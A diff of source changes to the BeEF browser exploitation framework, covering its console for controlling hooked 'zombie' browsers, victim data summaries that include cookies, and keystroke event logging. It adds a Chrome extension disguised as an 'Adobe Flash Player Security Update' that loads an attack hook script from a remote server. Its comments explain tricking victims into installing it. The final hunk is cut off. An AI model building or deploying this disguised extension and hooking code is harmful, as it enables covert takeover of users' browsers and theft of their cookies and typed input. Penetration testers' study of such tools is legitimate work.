+                command['status'].gsub(/^Verified /,""),
+                driver.interface.getcommandresponses(command['id']).length] if driver.interface.getcommandresponses(command['id']).length.to_i > 0
+
+        else 
+         tbl << [command['id'].to_i,
+            cmdstring,
+            command['status'].gsub(/^Verified /,""),
+            driver.interface.getcommandresponses(command['id']).length] #TODO
+        end
+
       }
     }
     
@@ -78,6 +109,9 @@ class Target
   
   def cmd_commands_help(*args)
     print_status("List command modules for this target")
+    print_line("Usage: commands [options]")
+    print_line
+    print @@commands_opts.usage()
   end
   
   def cmd_info(*args)
@@ -133,7 +167,7 @@ class Target
     else
       driver.interface.getcommands.each { |x|
         x['children'].each { |y|
-          if args[0].chomp == x['text']+"/"+y['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
+          if args[0].chomp == x['text'].gsub(/\s/,"_")+y['text'].gsub(/[-\(\)]/,"").gsub(/\W+/,"_")
             modid = y['id']
           end
         }

extensions/console/lib/shellinterface.rb

@@ -8,14 +8,14 @@ module Extension
 module Console
 
 class ShellInterface
-  
+
   BD = BeEF::Core::Models::BrowserDetails
-  
+
   def initialize(config)
     self.config = config
     self.cmd = {}
   end
-  
+
   def settarget(id)
     begin
       self.targetsession = BeEF::Core::Models::HookedBrowser.first(:id => id).session
@@ -25,7 +25,7 @@ class ShellInterface
       return nil
     end
   end
-  
+
   def setofflinetarget(id)
     begin
       self.targetsession = BeEF::Core::Models::HookedBrowser.first(:id => id).session
@@ -35,7 +35,7 @@ class ShellInterface
       return nil
     end
   end
-  
+
   def cleartarget
     self.targetsession = nil
     self.targetip = nil
@@ -43,11 +43,11 @@ class ShellInterface
     self.cmd = {}
   end
 
-  # This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
+  # @note Get commands. This is a *modified* replica of select_command_modules_tree from extensions/admin_ui/controllers/modules/modules.rb
   def getcommands
-    
+
     return if self.targetid.nil?
-    
+
     tree = []
     BeEF::Modules.get_categories.each { |c|
         if c[-1,1] != "/"
@@ -104,39 +104,39 @@ class ShellInterface
         update_command_module_tree(tree, dyn_mod_category, "Verified Unknown", command_mod_name,dyn_mod.id)
        }
     end
-    
-    # sort the parent array nodes 
+
+    # sort the parent array nodes
     tree.sort! {|a,b| a['text'] <=> b['text']}
-  
+
     # sort the children nodes by status
     tree.each {|x| x['children'] =
       x['children'].sort_by {|a| a['status']}
     }
-    
+
     # append the number of command modules so the branch name results in: "<category name> (num)"
     #tree.each {|command_module_branch|
     #  num_of_command_modules = command_module_branch['children'].length
     #  command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
     #}
-    
+
     # return a JSON array of hashes
     tree
   end
-  
+
   def setcommand(id)
     key = BeEF::Module.get_key_by_database_id(id.to_i)
-    
+
     self.cmd['id'] = id
     self.cmd['Name'] = self.config.get("beef.module.#{key}.name")
     self.cmd['Description'] = self.config.get("beef.module.#{key}.description")
     self.cmd['Category'] = self.config.get("beef.module.#{key}.category")
     self.cmd['Data'] = BeEF::Module.get_options(key)
   end
-  
+
   def clearcommand
     self.cmd = {}
   end
-  
+
   def setparam(param,value)
     self.cmd['Data'].each do |data|
       if data['name'] == param
@@ -145,12 +145,12 @@ class ShellInterface
       end
     end
   end
-  
+
   def getcommandresponses(cmdid = self.cmd['id'])
-    
+
     commands = []
     i = 0
-    
+
     BeEF::Core::Models::Command.all(:command_module_id => cmdid, :hooked_browser_id => self.targetid).each do |command|
       commands.push({
         'id' => i,
@@ -160,10 +160,10 @@ class ShellInterface
       })
       i+=1
     end
-    
+
     commands
   end
-  
+
   def getindividualresponse(cmdid)
     results = []
     begin
@@ -175,26 +175,26 @@ class ShellInterface
     end
     results
   end
-  
+
   def executecommand
     definition = {}
     options = {}
     options.store("zombie_session", self.targetsession.to_s)
     options.store("command_module_id", self.cmd['id'])
-    
+
     if not self.cmd['Data'].nil?
       self.cmd['Data'].each do |key|
         options.store("txt_"+key['name'].to_s,key['value'])
       end
     end
-    
-    options.keys.each {|param| 
+
+    options.keys.each {|param|
       definition[param[4..-1]] = options[param]
       oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
       oc.value = options[param]
 	    oc.save
     }
-    
+
     mod_key = BeEF::Module.get_key_by_database_id(self.cmd['id'])
     # Hack to rework the old option system into the new option system
     def2 = []
@@ -207,7 +207,7 @@ class ShellInterface
     else
       return false
     end
-    
+
     #Old method
     #begin
     #  BeEF::Core::Models::Command.new(  :data => definition.to_json,
@@ -218,10 +218,10 @@ class ShellInterface
     #rescue
     #  return false
     #end
-    
+
     #return true
   end
-  
+
   def update_command_module_tree(tree, cmd_category, cmd_status, cmd_name, cmd_id)
 
       # construct leaf node for the command module tree
@@ -240,7 +240,7 @@ class ShellInterface
         end
       }
   end
-  
+
   def get_command_module_status(mod)
       hook_session_id = self.targetsession
       if hook_session_id == nil
@@ -250,7 +250,7 @@ class ShellInterface
         'browser' => BD.get(hook_session_id, 'BrowserName'),
         'ver' => BD.get(hook_session_id, 'BrowserVersion'),
         'os' => [BD.get(hook_session_id, 'OsName')]})
-      
+
         when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
           return "Verified Not Working"
         when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
@@ -263,400 +263,110 @@ class ShellInterface
           return "Verified Unknown"
       end
   end
-  
-  #Yoinked from the UI panel - we really need to centralise all this stuff and encapsulate it away??
+
+  # @note Returns a JSON array containing the summary for a selected zombie.
+  # Yoinked from the UI panel -
+  # we really need to centralise all this stuff and encapsulate it away.
   def select_zombie_summary
-    
+
     return if self.targetsession.nil?
 
     # init the summary grid
     summary_grid_hash = {
-      'success' => 'true', 
+      'success' => 'true',
       'results' => []
     }
 
-    # set and add the return values for the page title
-    page_title = BD.get(self.targetsession, 'PageTitle') 
-    if not page_title.nil?
-      encoded_page_title = CGI.escapeHTML(page_title)
-      encoded_page_title_hash = { 'Page Title' => encoded_page_title }
-      
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_page_title_hash,
-        'from' => 'Initialization'
-      }
-      
-      summary_grid_hash['results'].push(page_name_row) # add the row
+    # zombie properties
+    # in the form of: category, UI label, value
+    zombie_properties = [
+
+        # Browser
+        ['Browser', 'Browser Name',       'BrowserName'],
+        ['Browser', 'Browser Version',    'BrowserVersion'],
+        ['Browser', 'Browser UA String',  'BrowserReportedName'],
+        ['Browser', 'Browser Platform',   'BrowserPlatform'],
+        ['Browser', 'Browser Plugins',    'BrowserPlugins'],
+        ['Browser', 'Window Size',        'WindowSize'],
+
+        # Browser Components
+        ['Browser Components', 'Flash',              'HasFlash'],
+        ['Browser Components', 'Java',               'JavaEnabled'],
+        ['Browser Components', 'VBScript',           'VBScriptEnabled'],
+        ['Browser Components', 'PhoneGap',           'HasPhonegap'],
+        ['Browser Components', 'Google Gears',       'HasGoogleGears'],
+        ['Browser Components', 'Silverlight',        'HasSilverlight'],
+        ['Browser Components', 'Web Sockets',        'HasWebSocket'],
+        ['Browser Components', 'QuickTime',          'HasQuickTime'],
+        ['Browser Components', 'RealPlayer',         'HasRealPlayer'],
+        ['Browser Components', 'Windows Media Player','HasWMP'], 
+        ['Browser Components', 'VLC',                'HasVLC'],
+        ['Browser Components', 'Foxit',              'HasFoxit'],
+        ['Browser Components', 'ActiveX',            'HasActiveX'],
+        ['Browser Components', 'Session Cookies',    'hasSessionCookies'],
+        ['Browser Components', 'Persistent Cookies', 'hasPersistentCookies'],
+
+        # Hooked Page
+        ['Hooked Page', 'Page Title',    'PageTitle'],
+        ['Hooked Page', 'Page URI',      'PageURI'],
+        ['Hooked Page', 'Page Referrer', 'PageReferrer'],
+        ['Hooked Page', 'Hook Host',  'HostName'],
+        ['Hooked Page', 'Cookies',       'Cookies'],
+
+        # Host
+        ['Host', 'Date',             'DateStamp'],
+        ['Host', 'Operating System', 'OsName'],
+        ['Host', 'Hardware',         'Hardware'],
+        ['Host', 'CPU',              'CPU'],
+        ['Host', 'Screen Size',      'ScreenSize'],
+        ['Host', 'Touch Screen',     'TouchEnabled']
+    ]
+
+    # set and add the return values for each browser property
+    # in the form of: category, UI label, value
+    zombie_properties.each do |p|
+
+      case p[2]
+        when "BrowserName"
+          data   = BeEF::Core::Constants::Browsers.friendly_name(BD.get(self.targetsession.to_s, p[2])).to_s
+
+        when "ScreenSize"
+          screen_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
+          width  = screen_size_hash['width']
+          height = screen_size_hash['height']
+          cdepth = screen_size_hash['colordepth']
+          data   = "Width: #{width}, Height: #{height}, Colour Depth: #{cdepth}"
+
+        when "WindowSize"
+          window_size_hash = JSON.parse(BD.get(self.targetsession.to_s, p[2]).gsub(/\"\=\>/, '":')) # tidy up the string for JSON
+          width  = window_size_hash['width']
+          height = window_size_hash['height']
+          data   = "Width: #{width}, Height: #{height}"
+        else
+          data   = BD.get(self.targetsession, p[2])
+      end
+
+      # add property to summary hash
+      if not data.nil?
+        summary_grid_hash['results'].push({
+          'category' => p[0],
+          'data'     => { p[1] => CGI.escapeHTML("#{data}") },
+          'from'     => 'Initialization'
+        })
+      end
+
     end
 
-    # set and add the return values for the page uri
-    page_uri = BD.get(self.targetsession, 'PageURI')
-    if not page_uri.nil?
-      encoded_page_uri = CGI.escapeHTML(page_uri)
-      encoded_page_uri_hash = { 'Page URI' => encoded_page_uri }
-
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_page_uri_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the page referrer
-    page_referrer = BD.get(self.targetsession, 'PageReferrer')
-    if not page_referrer.nil?
-      encoded_page_referrer = CGI.escapeHTML(page_referrer)
-      encoded_page_referrer_hash = { 'Page Referrer' => encoded_page_referrer }
-
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_page_referrer_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the host name
-    host_name = BD.get(self.targetsession, 'HostName') 
-    if not host_name.nil?
-      encoded_host_name = CGI.escapeHTML(host_name)
-      encoded_host_name_hash = { 'Hostname/IP' => encoded_host_name }
-    
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_host_name_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-    
-	# set and add the return values for the date
-    date_stamp = BD.get(self.targetsession, 'DateStamp')
-    if not date_stamp.nil?
-      encoded_date_stamp = CGI.escapeHTML(date_stamp)
-      encoded_date_stamp_hash = { 'Date' => encoded_date_stamp }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_date_stamp_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the os name
-    os_name = BD.get(self.targetsession, 'OsName')
-    if not os_name.nil?
-      encoded_os_name = CGI.escapeHTML(os_name)
-      encoded_os_name_hash = { 'OS Name' => encoded_os_name }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_os_name_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the os name
-    hw_name = BD.get(self.targetsession, 'Hardware')
-    if not hw_name.nil?
-      encoded_hw_name = CGI.escapeHTML(hw_name)
-      encoded_hw_name_hash = { 'Hardware' => encoded_hw_name }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_hw_name_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for the browser name
-    browser_name = BD.get(self.targetsession, 'BrowserName') 
-    if not browser_name.nil?
-      friendly_browser_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name)
-      browser_name_hash = { 'Browser Name' => friendly_browser_name }
-
-      browser_name_row = {
-        'category' => 'Browser',
-        'data' => browser_name_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(browser_name_row) # add the row
-    end
-    
-    # set and add the return values for the browser version
-    browser_version = BD.get(self.targetsession, 'BrowserVersion') 
-    if not browser_version.nil?
-      encoded_browser_version = CGI.escapeHTML(browser_version)
-      browser_version_hash = { 'Browser Version' => encoded_browser_version }
-
-      browser_version_row = {
-        'category' => 'Browser',
-         'data' => browser_version_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(browser_version_row) # add the row
-    end
-    
-    # set and add the return values for the browser ua string
-    browser_uastring = BD.get(self.targetsession, 'BrowserReportedName')
-    if not browser_uastring.nil?
-      browser_uastring_hash = { 'Browser UA String' => browser_uastring }
-
-      browser_uastring_row = {
-        'category' => 'Browser',
-         'data' => browser_uastring_hash,
-        'from' => 'Initialization'
-      }
-    
-      summary_grid_hash['results'].push(browser_uastring_row) # add the row
-    end
-    
-    # set and add the list of cookies
-    cookies = BD.get(self.targetsession, 'Cookies')
-    if not cookies.nil? and not cookies.empty?
-      encoded_cookies = CGI.escapeHTML(cookies)
-      encoded_cookies_hash = { 'Cookies' => encoded_cookies }
-      
-      page_name_row = {
-        'category' => 'Hooked Page',
-        'data' => encoded_cookies_hash,
-        'from' => 'Initialization'
-      }
-      
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-    
-    # set and add the list of plugins installed in the browser
-    browser_plugins = BD.get(self.targetsession, 'BrowserPlugins')
-    if not browser_plugins.nil? and not browser_plugins.empty?
-      encoded_browser_plugins = CGI.escapeHTML(browser_plugins)
-      encoded_browser_plugins_hash = { 'Browser Plugins' => encoded_browser_plugins }
-      
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_browser_plugins_hash,
-        'from' => 'Initialization'
-      }
-      
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-    
-    # set and add the System Platform
-    system_platform = BD.get(self.targetsession, 'SystemPlatform')
-    if not system_platform.nil?
-      encoded_system_platform = CGI.escapeHTML(system_platform)
-      encoded_system_platform_hash = { 'System Platform' => encoded_system_platform }
-
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_system_platform_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the zombie screen size and color depth
-    screen_size = BD.get(self.targetsession, 'ScreenSize')
-    if not screen_size.nil?
-      
-      screen_size_hash = JSON.parse(screen_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
-      width = screen_size_hash['width']
-      height = screen_size_hash['height']
-      colordepth = screen_size_hash['colordepth']
-
-      # construct the string to be displayed in the details tab
-      encoded_screen_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s + ", Colour Depth: " + colordepth.to_s)
-      encoded_screen_size_hash = { 'Screen Size' => encoded_screen_size }
-      
-      page_name_row = {
-        'category' => 'Host',
-        'data' => encoded_screen_size_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the zombie browser window size
-    window_size = BD.get(self.targetsession, 'WindowSize')
-    if not window_size.nil?
-
-      window_size_hash = JSON.parse(window_size.gsub(/\"\=\>/, '":')) # tidy up the string for JSON
-      width = window_size_hash['width']
-      height = window_size_hash['height']
-
-      # construct the string to be displayed in the details tab
-      encoded_window_size = CGI.escapeHTML("Width: "+width.to_s + ", Height: " + height.to_s)
-      encoded_window_size_hash = { 'Window Size' => encoded_window_size }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_window_size_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for JavaEnabled
-    java_enabled = BD.get(self.targetsession, 'JavaEnabled')
-    if not java_enabled.nil?
-      encoded_java_enabled = CGI.escapeHTML(java_enabled)
-      encoded_java_enabled_hash = { 'Java Enabled' => encoded_java_enabled }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_java_enabled_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for VBScriptEnabled
-    vbscript_enabled = BD.get(self.targetsession, 'VBScriptEnabled')
-    if not vbscript_enabled.nil?
-      encoded_vbscript_enabled = CGI.escapeHTML(vbscript_enabled)
-      encoded_vbscript_enabled_hash = { 'VBScript Enabled' => encoded_vbscript_enabled }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_vbscript_enabled_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasFlash
-    has_flash = BD.get(self.targetsession, 'HasFlash')
-    if not has_flash.nil?
-      encoded_has_flash = CGI.escapeHTML(has_flash)
-      encoded_has_flash_hash = { 'Has Flash' => encoded_has_flash }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_flash_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasPhonegap
-    has_phonegap = BD.get(self.targetsession, 'HasPhonegap')
-    if not has_phonegap.nil?
-      encoded_has_phonegap = CGI.escapeHTML(has_phonegap)
-      encoded_has_phonegap_hash = { 'Has Phonegap' => encoded_has_phonegap }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_phonegap_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasGoogleGears
-    has_googlegears = BD.get(self.targetsession, 'HasGoogleGears')
-    if not has_googlegears.nil?
-      encoded_has_googlegears = CGI.escapeHTML(has_googlegears)
-      encoded_has_googlegears_hash = { 'Has GoogleGears' => encoded_has_googlegears }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_googlegears_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasWebSocket
-    has_web_socket = BD.get(self.targetsession, 'HasWebSocket')
-    if not has_web_socket.nil?
-      encoded_has_web_socket = CGI.escapeHTML(has_web_socket)
-      encoded_has_web_socket_hash = { 'Has GoogleGears' => encoded_has_web_socket }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_web_socket_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the yes|no value for HasActiveX
-    has_activex = BD.get(self.targetsession, 'HasActiveX')
-    if not has_activex.nil?
-      encoded_has_activex = CGI.escapeHTML(has_activex)
-      encoded_has_activex_hash = { 'Has ActiveX' => encoded_has_activex }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_activex_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for hasSessionCookies
-    has_session_cookies = BD.get(self.targetsession, 'hasSessionCookies')
-    if not has_session_cookies.nil?
-      encoded_has_session_cookies = CGI.escapeHTML(has_session_cookies)
-      encoded_has_session_cookies_hash = { 'Session Cookies' => encoded_has_session_cookies }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_session_cookies_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
-
-    # set and add the return values for hasPersistentCookies
-    has_persistent_cookies = BD.get(self.targetsession, 'hasPersistentCookies')
-    if not has_persistent_cookies.nil?
-      encoded_has_persistent_cookies = CGI.escapeHTML(has_persistent_cookies)
-      encoded_has_persistent_cookies_hash = { 'Persistent Cookies' => encoded_has_persistent_cookies }
-
-      page_name_row = {
-        'category' => 'Browser',
-        'data' => encoded_has_persistent_cookies_hash,
-        'from' => 'Initialization'
-      }
-
-      summary_grid_hash['results'].push(page_name_row) # add the row
-    end
- 
     summary_grid_hash
   end
-  
+
   attr_reader :targetsession
   attr_reader :targetid
   attr_reader :targetip
   attr_reader :cmd
-  
+
   protected
-  
+
   attr_writer :targetsession
   attr_writer :targetid
   attr_writer :targetip

extensions/demos/flash_update_chrome_extension/background.js

@@ -6,5 +6,6 @@
 
 d=document;
 e=d.createElement('script');
-e.src="http://127.0.0.1:3000/hook.js";
-d.body.appendChild(e); 
+e.src="https://192.168.0.2/hook.js";
+d.body.appendChild(e);
+

extensions/demos/flash_update_chrome_extension/manifest.json

@@ -1,26 +1,34 @@
 {
-  // Simple chrome extension 
-  // Just loads beef into the extension context.
-  // 
-  // You may need to set the IP address of the beef hook in background.js
-  // Then you can pack the extension (from within the chrome extensions page) and add the crx file to extensions/demos/html/ 
+    // Simple chrome extension, by antisnatchor and Mike Haworth
+    // Just loads BeEF into the extension context.
+    //
+    // 1. You need to set the IP address (better the domain) of the BeEF hook in background.js
+    // 2. The BeEF hook address must be == to the CSP allowed domain here below. BeEF must listen on port 443, with TLS enabled.
+    //    Only localhost origin is allowed to load scripts from non HTTPS resources. For anything else, you must use HTTPS.
+    // 4. You need to upload the extension, as a zip file, to Google Chrome store.
+    //    In latest versions of Chrome (>= 21) you can't install an extension from a different location anymore,
+    //    so the extension can't be served by BeEF anymore. You need to trick the victim to install
+    //    the extension from Google Chrome store.
+    //
 
-  "name": "Adobe Flash Player",
-  "version": "11.2.202.235",
-  "description": "Introduces vulnerabilites into web browsers",
-  "background": {
-    "scripts": ["background.js"]
-  },
-  "icons": { 
-    "16": "icon16.png",
-    "48": "icon48.png",
-    "128": "icon128.png" 
-  },
-  "permissions": [
-	"tabs", 
-	"http://*/*", 
-	"https://*/*",
-  "file://*/*",
-  "cookies"
-  ]
+    "name": "Adobe Flash Player Security Update",
+    "manifest_version": 2,
+    "version": "11.5.502.149",
+    "description": "Updates Adobe Flash Player with latest securty updates",
+    "background": {
+        "scripts": ["background.js"]
+    },
+    "content_security_policy": "script-src 'self' 'unsafe-eval' https://192.168.0.2; object-src 'self'",
+    "icons": {
+        "16": "icon16.png",
+        "48": "icon48.png",
+        "128": "icon128.png"
+    },
+    "permissions": [
+        "tabs",
+        "http://*/*",
+        "https://*/*",
+        "file://*/*",
+        "cookies"
+    ]
 }

extensions/events/handler.rb

@@ -52,7 +52,7 @@ module Events
         when 'click'
           result = "#{event['time']}s - [Mouse Click] x: #{event['x']} y:#{event['y']} > #{event['target']}"
         when 'focus'
-          result = "#{event['time']}s - [Focus] Browser has regained focus."
+          result = "#{event['time']}s - [Focus] Browser window has regained focus."
         when 'copy'
           result = "#{event['time']}s - [User Copied Text] \"#{event['data']}\""
         when 'cut'
@@ -60,7 +60,7 @@ module Events
         when 'paste'
           result = "#{event['time']}s - [User Pasted Text] \"#{event['data']}\""
         when 'blur'
-          result = "#{event['time']}s - [Blur] Browser has lost focus."
+          result = "#{event['time']}s - [Blur] Browser window has lost focus."
         when 'keys'
           result = "#{event['time']}s - [User Typed] \"#{event['data']}\" > #{event['target']}"
         when 'submit'

extensions/metasploit/config.yaml

@@ -33,6 +33,6 @@ beef:
               {os: 'bt5r3', path: '/opt/metasploit/msf3/'},
               {os: 'bt5', path: '/opt/framework3/msf3/'},
               {os: 'backbox', path: '/opt/metasploit3/msf3/'},
-              {os: 'win', path: 'c:\metasploit\msf3\'},
+              {os: 'win', path: 'c:\\metasploit-framework\\'},
               {os: 'custom', path: ''}
             ]

extensions/metasploit/rpcclient.rb

@@ -36,10 +36,12 @@ module Metasploit
 			#auto start msfrpcd
 			if (@config['auto_msfrpcd'] || false)
 				launch_msf = ''
+				msf_os = ''
 				@config['msf_path'].each do |path|
 					if File.exist?(path['path'] + 'msfrpcd')
 						launch_msf = path['path'] + 'msfrpcd'
 						print_info 'Found msfrpcd: ' + launch_msf
+						msf_os = path['os'] 
 					end
 				end
 				if (launch_msf.length > 0)
@@ -53,32 +55,35 @@ module Metasploit
 					end
 
 					msf_url += opts[:host] + ':' + opts[:port].to_s() + opts[:uri]
+					if msf_os.eql? "win"
+						print_info 'Metasploit auto-launch is currently not supported in BeEF on MS Windows.'
+					else	
+						child = IO.popen([launch_msf, "-f", argssl, "-P" , @config['pass'], "-U" , @config['user'], "-u" , opts[:uri], "-a" , opts[:host], "-p" , opts[:port].to_s()], 'r+')
 				
-					child = IO.popen([launch_msf, "-f", argssl, "-P" , @config['pass'], "-U" , @config['user'], "-u" , opts[:uri], "-a" , opts[:host], "-p" , opts[:port].to_s()], 'r+')
-				
-					print_info 'Attempt to start msfrpcd, this may take a while. PID: ' + child.pid.to_s
+						print_info 'Attempt to start msfrpcd, this may take a while. PID: ' + child.pid.to_s
 
-					#Give daemon time to launch
-					#poll and giveup after timeout 
-					retries = @config['auto_msfrpcd_timeout']
-					uri = URI(msf_url)
-					http = Net::HTTP.new(uri.host, uri.port)
+						#Give daemon time to launch
+						#poll and giveup after timeout 
+						retries = @config['auto_msfrpcd_timeout']
+						uri = URI(msf_url)
+						http = Net::HTTP.new(uri.host, uri.port)
 
-					if opts[:ssl]
-						http.use_ssl = true
-					end
-					if not @config['ssl_verify']
-						http.verify_mode = OpenSSL::SSL::VERIFY_NONE
-					end
-					headers = {
-    						'Content-Type' => "binary/message-pack"
-					}
-					path = uri.path.empty? ? "/" : uri.path
-					begin
-						sleep 1
-						code = http.head(path, headers).code.to_i
-					rescue Exception
-						retry if (retries -= 1) > 0
+						if opts[:ssl]
+							http.use_ssl = true
+						end
+						if not @config['ssl_verify']
+							http.verify_mode = OpenSSL::SSL::VERIFY_NONE
+						end
+						headers = {
+    							'Content-Type' => "binary/message-pack"
+						}
+						path = uri.path.empty? ? "/" : uri.path
+						begin
+							sleep 1
+							code = http.head(path, headers).code.to_i
+						rescue Exception
+							retry if (retries -= 1) > 0
+						end
 					end
 				else
 					print_error 'Please add a custom path for msfrpcd to the config-file.'

liveCD/BeEFLive.sh

@@ -9,8 +9,8 @@
 #
 # This is the auto startup script for the BeEF Live CD. 
 # IT SHOULD ONLY BE RUN ON THE LIVE CD
-# Download LiveCD here: http://beefproject.com/BeEFLive1.2.iso
-# MD5 (BeEFLive1.2.iso) = 1bfba0942a3270ee977ceaeae5a6efd2
+# Download LiveCD here: http://downloads.beefproject.com/BeEFLive1.4.iso
+# MD5 (BeEFLive1.4.iso) = 5167450078ef5e9b8d146113cd4ba67c
 #
 # This script contains a few fixes to make BeEF play nicely with the way  
 # remastersys creates the live cd distributable as well as generating host keys 
@@ -117,6 +117,8 @@ show_menu() {
 		f1="/etc/ssh/ssh_host_rsa_key"
 		if [ -f $f1 ] ; then
 			echo "[1] Disable SSH                              [Currently Enabled]"
+			echo -ne "                                             beef@"
+			ifconfig | awk -F "[: ]+" '/inet addr:/ { if ($4 != "127.0.0.1") print $4 }'
 		else 
 			echo "[1] Enable SSH                               [Currently Disabled]"
 		fi

liveCD/isolinux.txt

@@ -0,0 +1,34 @@
+default vesamenu.c32
+prompt 0
+timeout 100
+
+menu title BeEF Live CD
+menu background splash.png
+menu color title 1;37;44 #c0ffffff #00000000 std
+
+label live
+  menu label live - BeEF Beef Live
+  kernel /casper/vmlinuz
+  append  file=/cdrom/preseed/custom.seed boot=casper initrd=/casper/initrd.gz quiet splash --
+
+label xforcevesa
+  menu label xforcevesa - boot Live in safe graphics mode
+  kernel /casper/vmlinuz
+  append  file=/cdrom/preseed/custom.seed boot=casper xforcevesa initrd=/casper/initrd.gz quiet splash --
+
+label install
+  menu label install - start the installer directly
+  kernel /casper/vmlinuz
+  append  file=/cdrom/preseed/custom.seed boot=casper only-ubiquity initrd=/casper/initrd.gz quiet splash --
+
+label memtest
+  menu label memtest - Run memtest
+  kernel /install/memtest
+  append -
+
+label hd
+  menu label hd - boot the first hard disk
+  localboot 0x80
+  append -
+
+

modules/browser/browser_fingerprinting/command.js

@@ -35,6 +35,7 @@ beef.execute(function() {
 		new Array("Firefox","7+","resource:///chrome/browser/content/browser/aboutHome-snippet1.png"),
 		new Array("Firefox","8+","resource:///chrome/browser/skin/classic/aero/browser/Toolbar-inverted.png"),
 		new Array("Internet Explorer","5-6","res://shdoclc.dll/pagerror.gif"),
+		new Array("Internet Explorer","7-9","res://ieframe.dll/ielogo.png"),
 		new Array("Internet Explorer","7+","res://ieframe.dll/info_48.png")
 	);
 

modules/browser/detect_activex/command.js

@@ -0,0 +1,14 @@
+//
+// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.execute(function() {
+
+	var result = (beef.browser.hasActiveX())? "Yes" : "No";
+
+	beef.net.send("<%= @command_url %>", <%= @command_id %>, "activex="+result);
+
+});
+

modules/browser/detect_activex/config.yaml

@@ -0,0 +1,16 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+beef:
+    module:
+        detect_activex:
+            enable: true
+            category: "Browser"
+            name: "Detect ActiveX"
+            description: "This module will check if the browser has ActiveX support."
+            authors: ["bcoles"]
+            target:
+                user_notify: ["IE"]
+                not_working: ["All"]

modules/browser/detect_activex/module.rb

@@ -0,0 +1,14 @@
+#
+# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+class Detect_activex < BeEF::Core::Command
+
+	def post_execute
+		content = {}
+		content['activex'] = @datastore['activex']
+		save content
+	end
+
+end

modules/browser/detect_extensions/command.js

@@ -1086,15 +1086,24 @@ beef.execute(function() {
